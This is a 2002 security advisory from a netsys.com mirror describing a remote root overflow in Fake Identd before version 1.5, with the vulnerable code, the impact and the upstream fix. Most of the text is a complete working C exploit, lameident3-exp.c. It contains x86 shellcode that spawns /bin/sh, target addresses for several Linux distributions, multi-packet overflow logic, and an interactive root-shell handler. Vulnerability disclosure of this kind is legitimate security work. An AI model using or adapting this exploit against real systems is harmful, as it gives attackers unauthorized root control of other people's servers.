NETSYS.COM - The Intelligent Hacker's Choice - http://www.netsys.com/library/fake-identd-exploit.txtThe Intelligent Hacker's Choice.. Systems, Networks, Administration.. since 1977 >>>> advertisement Date: 07/29/2002 Product: fakeidentd Summary: remote root exploit ----------------------------[ Overview ]---------------------------- Fake Identd is a small standalone ident server with static replies. It is designed to be suitable for firewalls, IP masquerading hosts, etc. Documentation : http://iki.fi/too/sw/identd.readme Source code : http://iki.fi/too/sw/releases/identd.c ----------------------------[ Vulnerability ]---------------------------- Client queries are stored in small static global 20-bytes buffers. The related code section is similar to : len = 0; for(;;) { if ((l = read(s, buf + len, sizeof buf)) > 0) { if (query_looks_valid(buf)) { reply(s, buf); } } else if (len + l == sizeof buf) { goto abort; } else { len += l; } } The buffer boundary check is obviously broken. But splitting the data into two or more packets, the (len + l == sizeof buf) assertion can easily be bypassed. Additionnaly, the reply() function calls the fdprintf() function that features yet another fixed buffer with no boundary check. This buffer is filled with the content of a global pointer (identuser) whoose value can be tweaked using the previous vulnerability. To reduce the impact of a possible vulnerability, Fake Identd switches to user/group 'nobody'. Unfortunately, even the uid switching part is broken. The effective uid/gid are dropped (sete[gu]id() calls), but the real uid/gid are still 0/0. ----------------------------[ Impact ]---------------------------- Arbitrary commands can be run with root privileges. This vulnerability is remotely exploitable. All Fake Identd versions prior to 1.5 are vulnerable on most Unix-like systems. ----------------------------[ Workarounds ]---------------------------- None. ----------------------------[ Fixes ]---------------------------- Tomi Ollila, author and maintainer of Fake Identd, just released a new version (1.5) in order to fix these vulnerabilities. The new version is freely downloadable from the following location : http://iki.fi/too/sw/releases/identd.c Gentoo Linux shipped a 'portage' package of Fake Identd. That package has been removed from the distribution. ----------------------------[ Exploit ]---------------------------- Linux exploit, thanks to Core, Sloth and Solar Eclipse [0dd] . /* lameident3-exp.c - sloth@nopninjas.com - http://www.nopninjas.com * this should work for most Linux distributions without needing * any modifications * * fakeidentd exploit 3rd revision. * v1.4 http://software.freshmeat.net/projects/fakeidentd/ * v1.2 http://hangout.de/fakeidentd/ * * vuln found by Jedi/Sector One * Other people who worked on the same bug and shared ideas: * Charles "core" Stevenson, Solar Eclipse * * 7/25/02 * * Collaborative effort via the [0dd] list. Thanks to Charles Stevenson for * running it. * * 0dd, irc.pulltheplug.com, b0red */ #include #include #include #include #include #include #include #include #include #define ALIGN 1 /* you probably dont need to touch this */ #define IDENTPORT 113 #define USLEEP 200 /* delays the send()'s to avoid "broken pipe" errors */ #ifdef DEBUG #define DUPFD "\x04" #else #define DUPFD "\x02" #endif /* dup() shellcode from Charles Stevenson */ char lnx86_dupshell[]= "\x31\xc9\xf7\xe1\x51\x5b\xb0\xa4\xcd\x80\x31\xc9\x6a" DUPFD "\x5b\x6a\x3f\x58\xcd\x80\x41\x6a\x3f\x58\xcd\x80\x41\x6a\x3f" "\x58\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89" "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31" "\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"; struct Targets { char *name; long baseaddr; char *shellcode; }; struct Targets target[] = { { " gcc-2.91.66 x86\n" " * Slackware 7.1\n" " * RedHat 6.2\n", 0x0804b0a0, lnx86_dupshell }, { " gcc-2.95.3/4 x86\n" " * Slackware 8.1\n" " * Debian 3.0\n", 0x0804a260, lnx86_dupshell }, { (char *)0, 0, (char *)0 } }; void sh(int sockfd); int max(int x, int y); void fail(char *reason) { printf("exploit failed: %s\n", reason); exit(-1); } long resolve(char *host) { struct in_addr ip; struct hostent *he; if((ip.s_addr = inet_addr(host)) == -1) { if(!(he = gethostbyname(host))) return(-1); else memcpy(&ip.s_addr, he->h_addr, 4); } return(ip.s_addr); } int make_connect(struct in_addr host) { int s; struct sockaddr_in sin; memset(&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_port = htons(IDENTPORT); sin.sin_addr.s_addr = host.s_addr; if((s = socket(AF_INET, SOCK_STREAM, 0)) <= 0) fail("could not create socket"); if(connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) fail("could not connect\n"); return(s); } int main(int argc, char *argv[]) { int s, a, uwait = USLEEP, nops = 500; long baseaddr; long shelladdr = 0xbfffa090; long pointaddr = 0; char buf1[2020], buf2[32], *p, *shellcode; struct in_addr host; printf("lameident3-exp.c by sloth @ b0red\n"); if(argc<3) { printf("usage: ./lameident3-exp \n"); for(a=0;target[a].baseaddr;a++) printf(" %d: %x %s", a, target[a].baseaddr, target[a].name); exit(-1); } for(a=0;a 19 ? 19 : strlen(p), 0)) == -1) fail("write error"); p += a; usleep(uwait); } close(s); usleep(100); s = make_connect(host); send(s, "AAAAAAAAAAAAAAAAAAA", 19, 0); usleep(uwait); memset(buf2, 0, sizeof(buf2)); buf2[0] = 'A'; *(long *)&buf2[1] = shelladdr - baseaddr + strlen(buf1) + 20 - 5; send(s, buf2, 5, 0); usleep(uwait); p = buf1; pointaddr = shelladdr + strlen(buf1) + 20; printf("Writing pointers to 0x%x\n", pointaddr); memset(buf1, 0, sizeof(buf1)); for(a=0;a<=512;a += 4) *(long *)&buf1[a] = shelladdr + 500; for(a=0;a<=strlen(buf1), *p;) { if((a = send(s, p, strlen(p) > 19 ? 19 : strlen(p), 0)) == -1) fail("write error"); p += a; usleep(uwait); } close(s); usleep(uwait); s = make_connect(host); send(s, "AAAAAAAAAAAAAAAAAAA", 19, 0); usleep(uwait); memset(buf2, 0, sizeof(buf2)); buf2[0] = 'A'; *(long *)&buf2[1] = 0xffffffff - 0x9f - 5; send(s, buf2, 5, 0); usleep(uwait); memset(buf2, 0, sizeof(buf2)); *(long *)&buf2[0] = pointaddr + 200 + ALIGN; send(s, buf2, 4, 0); close(s); usleep(uwait); s = make_connect(host); send(s, "1234, 1234\n", 11, 0); usleep(uwait); printf("here comes the root shell!\n"); sh(s); close(s); } /* mixters */ int max(int x, int y) { if(x > y) return(x); return(y); } /* mixters sh() */ void sh(int sockfd) { char snd[1024], rcv[1024]; fd_set rset; int maxfd, n; strcpy(snd, "uname -a; pwd; id;\n"); write(sockfd, snd, strlen(snd)); for(;;) { FD_SET(fileno(stdin), &rset); FD_SET(sockfd, &rset); maxfd = max(fileno(stdin), sockfd) + 1; select(maxfd, &rset, NULL, NULL, NULL); if(FD_ISSET(fileno(stdin), &rset)){ bzero(snd, sizeof(snd)); fgets(snd, sizeof(snd)-2, stdin); write(sockfd, snd, strlen(snd)); } if(FD_ISSET(sockfd, &rset)){ bzero(rcv, sizeof(rcv)); if((n = read(sockfd, rcv, sizeof(rcv))) == 0){ printf("EOF.\n"); exit(0); } if(n < 0) fail("could not spawn shell"); fputs(rcv, stdout); } } } -- __ /*- Frank DENIS (Jedi/Sector One) -*\ __ \ '/ Secure FTP Server \' / \/ Misc. free software \/ Copyright © 2003 netsys.com All Rights Reserved.